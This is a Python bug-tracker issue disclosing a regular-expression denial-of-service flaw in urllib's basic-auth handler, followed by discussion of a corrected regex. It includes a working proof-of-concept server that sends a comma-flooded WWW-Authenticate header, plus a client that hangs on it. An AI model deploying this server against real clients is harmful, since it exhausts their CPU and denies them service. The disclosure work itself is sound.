New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Regular Expression Denial of Service in urllib.request.AbstractBasicAuthHandler #83007
Comments
The regular expression urllib.request.AbstractBasicAuthHandler.rx is vulnerable to malicious inputs which cause denial of service (REDoS). The regex is: rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+'
'realm=(["\']?)([^"\']*)\\2', re.I) The first line can act like:
Showing that there are many different ways to match a long sequence of commas. Input from the WWW-Authenticate or Proxy-Authenticate headers of HTTP responses will reach the regex via the http_error_auth_reqed method as long as the header value starts with "basic ". We can craft a malicious input:
Which causes catastrophic backtracking and takes a large amount of CPU time to process. I tested the length of time (seconds) to complete for different numbers of commas in the string: 18 0.289 Showing an exponential relationship O(2^x) ! The maximum length of comma string that can fit in a response header is 65509, which would take my computer just 6E+19706 years to complete. Example malicious server: from http.server import BaseHTTPRequestHandler, HTTPServer
def make_basic_auth(n_commas):
commas = "," * n_commas
return f"basic {commas}A"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(401)
n_commas = (
int(self.path[1:])
if len(self.path) > 1 else
65509
)
value = make_basic_auth(n_commas)
self.send_header("www-authenticate", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever() Vulnerable client: import urllib.request
opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler())
opener.open("http://localhost:44020/") As such, python applications using urllib.request may need to be careful not to visit malicious servers. I think the regex can be replaced with:
|
Thanks for the report. Please report security issues to security@python.org so that the security team can analyze and triage it to be made public. More information at https://www.python.org/news/security/ |
I have been advised that DoS issues can be added to the public bug tracker since there is no privilege escalation, but should still have the security label. |
A smaller change to the regex would be to replace the "(?:.*,)" with "(?:[^,],)*". I'd also suggest using a raw string instead: rx = re.compile(r'''(?:[^,]*,)*[ \t]*([^ \t]+)[ \t]+realm=(["']?)([^"']*)\2''', re.I) |
This issue is a duplicate of bpo-39503 which has a PR. Thanks Ben Caller for the report, I credited you in my fix ;-) |
Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.
Show more details
GitHub fields:
bugs.python.org fields:
The text was updated successfully, but these errors were encountered: